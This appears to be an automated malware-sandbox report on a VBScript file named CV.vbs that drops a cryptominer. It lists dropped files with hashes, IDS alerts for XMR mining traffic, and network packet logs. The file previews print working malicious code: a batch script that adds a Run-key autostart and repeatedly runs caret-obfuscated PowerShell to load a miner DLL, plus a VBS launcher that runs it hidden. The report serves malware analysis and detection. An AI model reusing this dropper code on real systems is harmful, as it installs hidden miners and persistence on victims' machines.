SSDEEP:	24:eG5VwFnPDG3lkPM2p8S7BC/DcM2D1N/FcM29Hmfn1XSGX3RE6Kxl2JTbG8z:f5VYqqE2pT7BC/R2D1N/j29HmfoEq6DX
MD5:	B9565265E5E1996772CE5B0E0D9075B7
SHA1:	D3C164055A0E1E1CEBF17906776342B8ABB6A26D
SHA-256:	EA973996816D068E19D69DA018080C4B92D5777526AE8123ADD41133465C993D
SHA-512:	0BEB70E58AC98AF9F16455E5CE2C294BF0DBAAA476DD5991CBB426EEBAF0182DCD54E7AD0BA7934623E280957E2EEEA598EA349ED19917596D221E43674E60EE
Malicious:	false
Preview:	@echo off..cd "%systemdrive%\miner"..reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "%systemdrive%\miner\mine_start.vbs" /f >nul 2>&1......:loop..set pyld=$WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()..set run_command=P^o^we^r^s^h^e^l^l -^c %pyld%..%run_command%..ping localhost -n 60 >nul 2>&1..goto loop

C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\32aef5a1e2625241be82835248f96587.tmp

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	121344
Entropy (8bit):	6.492519638129705
Encrypted:	false
SSDEEP:	3072:WU2UzI6jNUaLlnYCF9qoKTaazNd5/jVGu6s22:Z2oNUUFYCF0XTaC22
MD5:	3964CE18860C170BA3EDF61A0D71EA4D
SHA1:	227387C4780C5C0FA8CB21B8DA761AEB9E4DFA7F
SHA-256:	C57F8291F0FA4A202E6736F2028E32BA767BBFCB390C40AF7742EA65EAEC0AE9
SHA-512:	7612433470E4EF4D11517B4C565726AB97D368243E0C2E8F11F9C5AC24BCFF4717EAA2D65766AC2401640DD54B668A5B9C7BBE9FE9E81830244EA979CDB5F44A
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 28%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t.'.'.'..&.'..&j..'..&.'...&...'...&...'...&.'..&.'.'...'...&.'...&.'...&.'Rich.'................PE..L....y.f...........!...&.H..........{1.......`............................................@.........................0...D...t...P...................................`...................................@............`..\............................text...`G.......H.................. ..`.rdata..>o...`...p...L..............@..@.data... ...........................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\bb615cb179b61645b00bbea5e7351438.tmp

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	4.77759337536214
Encrypted:	false
SSDEEP:	3:j+qAHmcYonhcDQLHf0tkRIn:j+qf+ht8tYIn
MD5:	F39EDCB3748004F54564A2CECD07848B
SHA1:	1BA78370A200DE4F7C92EF2699040E88C9E95273
SHA-256:	C6ECB44157CECA8176C9CB9C7DC323293280FC2F981868EB01D39F09651B7E7C
SHA-512:	B56054AC90A52321F8C52C4BB7FA09D8A1248D88AFB66AB27E5802A77F7B858EB3135AAA24EAD9E26DD74DCAA9FA9337BBB03EAAA147BCE80D103AFE96EE7163
Malicious:	false
Preview:	Set objShell = WScript.CreateObject("WScript.Shell")..objShell.Run ("cmd /c c:\miner\XClient.bat"),0

C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\ef6e2f792af92b4b9f5dc85422487e31.tmp

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	156672
Entropy (8bit):	6.192656095264201
Encrypted:	false
SSDEEP:	3072:b3E3gOv2OZKH8J3HtIZgUupCNAvGGo/zFAEnA:FOv2OZa8J3NEu4NQc3
MD5:	32BA9383333C2A0320F16708D4DF125C
SHA1:	735E5064650A0A8593D9E587613DC42A00D42E43
SHA-256:	048BE89D518C851D603F0E215D5FE57DE1AE0657BDE883F86A48AB7F3977210C
SHA-512:	51296AA17C50267F6902056A375AA53F85E9596AAACA584C5FB60799545E32D10692714F679C6CE985D31B90F6213B3A72DB6B3A68400DE5D64E580CB4513C1E
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 14%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q..g5..45..45..4~..52..4~..5...4~..5?..45..44..43}.5...43}.5;..43}.5$..4~..52..45..4^..4Z}.51..4Z}.54..4Z}.54..4Rich5..4........................PE..d....y.f.........." ...&.............>....................................................`..........................................C..D....C..P............p..$...............t... (...............................&..@............................................text............................... ..`.rdata..............................@..@.data...`....P.......6..............@....pdata..$....p.......D..............@..@_RDATA...............Z..............@..@.reloc..t............\..............@..B................................................................................................................................................................................................................................

C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	DOS batch file, ASCII text, with very long lines (521), with CRLF line terminators
Category:	dropped
Size (bytes):	811
Entropy (8bit):	5.498605131509978
Encrypted:	false
SSDEEP:	24:eG5VwFnPDG3lkPM2p8S7BC/DcM2D1N/FcM29Hmfn1XSGX3RE6Kxl2JTbG8z:f5VYqqE2pT7BC/R2D1N/j29HmfoEq6DX
MD5:	B9565265E5E1996772CE5B0E0D9075B7
SHA1:	D3C164055A0E1E1CEBF17906776342B8ABB6A26D
SHA-256:	EA973996816D068E19D69DA018080C4B92D5777526AE8123ADD41133465C993D
SHA-512:	0BEB70E58AC98AF9F16455E5CE2C294BF0DBAAA476DD5991CBB426EEBAF0182DCD54E7AD0BA7934623E280957E2EEEA598EA349ED19917596D221E43674E60EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ObfuscatedPowershell, Description: Yara detected Obfuscated Powershell, Source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp, Author: Joe Security Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword obfuscated with carets, Source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp, Author: Florian Roth
Preview:	@echo off..cd "%systemdrive%\miner"..reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "%systemdrive%\miner\mine_start.vbs" /f >nul 2>&1......:loop..set pyld=$WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()..set run_command=P^o^we^r^s^h^e^l^l -^c %pyld%..%run_command%..ping localhost -n 60 >nul 2>&1..goto loop

C:\miner\fetchX32.dll (copy)

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	121344
Entropy (8bit):	6.492519638129705
Encrypted:	false
SSDEEP:	3072:WU2UzI6jNUaLlnYCF9qoKTaazNd5/jVGu6s22:Z2oNUUFYCF0XTaC22
MD5:	3964CE18860C170BA3EDF61A0D71EA4D
SHA1:	227387C4780C5C0FA8CB21B8DA761AEB9E4DFA7F
SHA-256:	C57F8291F0FA4A202E6736F2028E32BA767BBFCB390C40AF7742EA65EAEC0AE9
SHA-512:	7612433470E4EF4D11517B4C565726AB97D368243E0C2E8F11F9C5AC24BCFF4717EAA2D65766AC2401640DD54B668A5B9C7BBE9FE9E81830244EA979CDB5F44A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t.'.'.'..&.'..&j..'..&.'...&...'...&...'...&.'..&.'.'...'...&.'...&.'...&.'Rich.'................PE..L....y.f...........!...&.H..........{1.......`............................................@.........................0...D...t...P...................................`...................................@............`..\............................text...`G.......H.................. ..`.rdata..>o...`...p...L..............@..@.data... ...........................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\miner\fetchX64.dll (copy)

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	156672
Entropy (8bit):	6.192656095264201
Encrypted:	false
SSDEEP:	3072:b3E3gOv2OZKH8J3HtIZgUupCNAvGGo/zFAEnA:FOv2OZa8J3NEu4NQc3
MD5:	32BA9383333C2A0320F16708D4DF125C
SHA1:	735E5064650A0A8593D9E587613DC42A00D42E43
SHA-256:	048BE89D518C851D603F0E215D5FE57DE1AE0657BDE883F86A48AB7F3977210C
SHA-512:	51296AA17C50267F6902056A375AA53F85E9596AAACA584C5FB60799545E32D10692714F679C6CE985D31B90F6213B3A72DB6B3A68400DE5D64E580CB4513C1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q..g5..45..45..4~..52..4~..5...4~..5?..45..44..43}.5...43}.5;..43}.5$..4~..52..45..4^..4Z}.51..4Z}.54..4Z}.54..4Rich5..4........................PE..d....y.f.........." ...&.............>....................................................`..........................................C..D....C..P............p..$...............t... (...............................&..@............................................text............................... ..`.rdata..............................@..@.data...`....P.......6..............@....pdata..$....p.......D..............@..@_RDATA...............Z..............@..@.reloc..t............\..............@..B................................................................................................................................................................................................................................

C:\miner\mine_start.vbs (copy)

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	4.77759337536214
Encrypted:	false
SSDEEP:	3:j+qAHmcYonhcDQLHf0tkRIn:j+qf+ht8tYIn
MD5:	F39EDCB3748004F54564A2CECD07848B
SHA1:	1BA78370A200DE4F7C92EF2699040E88C9E95273
SHA-256:	C6ECB44157CECA8176C9CB9C7DC323293280FC2F981868EB01D39F09651B7E7C
SHA-512:	B56054AC90A52321F8C52C4BB7FA09D8A1248D88AFB66AB27E5802A77F7B858EB3135AAA24EAD9E26DD74DCAA9FA9337BBB03EAAA147BCE80D103AFE96EE7163
Malicious:	false
Preview:	Set objShell = WScript.CreateObject("WScript.Shell")..objShell.Run ("cmd /c c:\miner\XClient.bat"),0

\Device\ConDrv

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	372
Entropy (8bit):	4.851486429221629
Encrypted:	false
SSDEEP:	6:zx3MmSLQHtBXVNsRsttYe8qWLkH8PHaH83HwD0DIZJQk0n:zK/0HtBFNEM9WLkKHcD0DYJQj
MD5:	9D9FDD094772A7CB2060491255F69144
SHA1:	57BDF43F19F8B9CC2CB5CB25A1A319BBF7F3C12D
SHA-256:	6AEA89677F4F0FBBB7E248CD905D3D90D242C56DC6097C60E66E94DFB003631A
SHA-512:	D0E7422F4769F7DB466E3778C7C52468F4607E153601FB0E108A619DAB6EAF5D71405BDA2BBC2C6BD747ECB83BF2F71F1FC51FC883D4301988D32601E07C6BB7
Malicious:	false
Preview:	Microsoft (R) File Expansion Utility..Copyright (c) Microsoft Corporation. All rights reserved.....Adding C:\miner\XClient.bat to Extraction Queue..Adding C:\miner\mine_start.vbs to Extraction Queue..Adding C:\miner\fetchX32.dll to Extraction Queue..Adding C:\miner\fetchX64.dll to Extraction Queue....Expanding Files ........Expanding Files Complete .....4 files total...

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1852
Entropy (8bit):	4.229491289826708
Encrypted:	false
SSDEEP:	12:PLRl5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgTcgq:RFUEAokItULVDv
MD5:	4E7E42430259EA77A04A9146CC99BA05
SHA1:	199F7B02C8F4BE52968D58FD868725A4718FED8A
SHA-256:	5DF6C802E75D958E341B216A94E010300E9C8417B316F3DE242D23BAC62A4608
SHA-512:	4134EB2C01F899E972E34773D81AABF55307AD91CF16BEBD2EE389F086377074440B440CA36B5B9A215AFC32AD8887FC7A36362622D26517C97A43E4ADC0C65F
Malicious:	false
Preview:	..Pinging 216041 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply fr

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.872982974883861
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	CV.vbs
File size:	332'775 bytes
MD5:	b4953316f7584f9fa476ab0141b70fa6
SHA1:	90df20136882bf930ea283114f30c527ee8df881
SHA256:	2748bd43495bb029f45c0e4f1ebb735a195ebc2bf063ffcc02eb5b2c0feaaa51
SHA512:	cbd509f0db39d13dfce01f54ccc7381b9f704bde7ff720dad76a18424e934458feaeb248362bf2cebc62e50c1e3378c3e26531fac68fe833c162de795da42853
SSDEEP:	6144:VQMHIKbMrM36IkxwPEFXqOS/9m6EvrBlNkI:Oe0MKePEI/mxD7NH
TLSH:	2E64D0E6BE4817E3EFF68A97306BCA0CAF5DFE02209714B79D782B424604D616132775
File Content Preview:	Option Explicit..Dim encode_zip,objShell,objWshShell,fso,folder,files,TargetZipFileName,folderIdx,ExtName....encode_zip = encode_zip & "TVNDRgAAAAD7RQIAAAAAACwAAAAAAAAAAwEBAAQAAAAyEgAAoQAAAAkAAQArAwAA" & vbNewline..encode_zip = encode_zip & "AAAAAAAA/1hQu

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-05T11:57:27.473811+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49730	80	192.168.2.4	142.250.186.36
2024-08-05T11:57:28.276991+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	49731	443	192.168.2.4	185.199.110.133
2024-08-05T11:57:15.058864+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49738	9200	192.168.2.4	34.149.22.228

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 11:57:26.798463106 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:26.803320885 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:26.803389072 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:26.803554058 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:26.808326006 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473689079 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473706961 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473716021 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473727942 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473737955 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473748922 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473761082 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473810911 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.473815918 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473810911 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.473829985 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473844051 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.473900080 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.473900080 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.475806952 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.475842953 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.478683949 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.478741884 CEST	80	49730	142.250.186.36	192.168.2.4
Aug 5, 2024 11:57:27.478749037 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.478787899 CEST	49730	80	192.168.2.4	142.250.186.36
Aug 5, 2024 11:57:27.486967087 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:27.487056017 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:27.487139940 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:27.489510059 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:27.489543915 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:27.978612900 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:27.978730917 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.010418892 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.010467052 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.010713100 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.010777950 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.020646095 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.068501949 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277106047 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277206898 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.277241945 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277287960 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.277333975 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277378082 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.277420044 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277465105 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.277502060 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277544975 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.277582884 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.277627945 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.283482075 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.283546925 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.283565044 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.283611059 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.283795118 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.283839941 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.283883095 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.283929110 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.283953905 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.284001112 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.284626961 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.284682035 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.291675091 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.291745901 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.367887020 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.367938995 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.367959976 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.367964983 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.367974043 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.367981911 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.368022919 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.368232965 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.368273973 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.368280888 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.368319035 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.368325949 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.368356943 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.369172096 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.369210958 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.369221926 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.369252920 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.369257927 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.369288921 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.369296074 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.369327068 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.370217085 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.370256901 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.375852108 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.375891924 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.379461050 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.379508018 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.379525900 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.379533052 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.379549026 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.379585028 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.379590034 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.379635096 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.379918098 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.379960060 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.379966021 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.380004883 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.380009890 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.380048990 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.380055904 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.380095005 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.380870104 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.380920887 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.380927086 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.380961895 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.380969048 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.381010056 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.459876060 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.459904909 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.459952116 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.459990978 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.460014105 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.460042953 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.460067034 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.461751938 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.461795092 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.461821079 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.461833954 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.461863041 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.461883068 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.467783928 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.467830896 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.467871904 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.467883110 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.467916965 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.467936039 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.517380953 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.517404079 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.517471075 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.517487049 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.517518044 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.517539024 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.549772978 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.549797058 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.549870014 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.549890041 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.549943924 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.551014900 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.551029921 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.551084042 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.551096916 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.551146030 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.552531004 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.552544117 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.552603960 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.552615881 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.552666903 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:28.557672977 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.557687998 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:28.557774067 CEST	49731	443	192.168.2.4	185.199.110.133
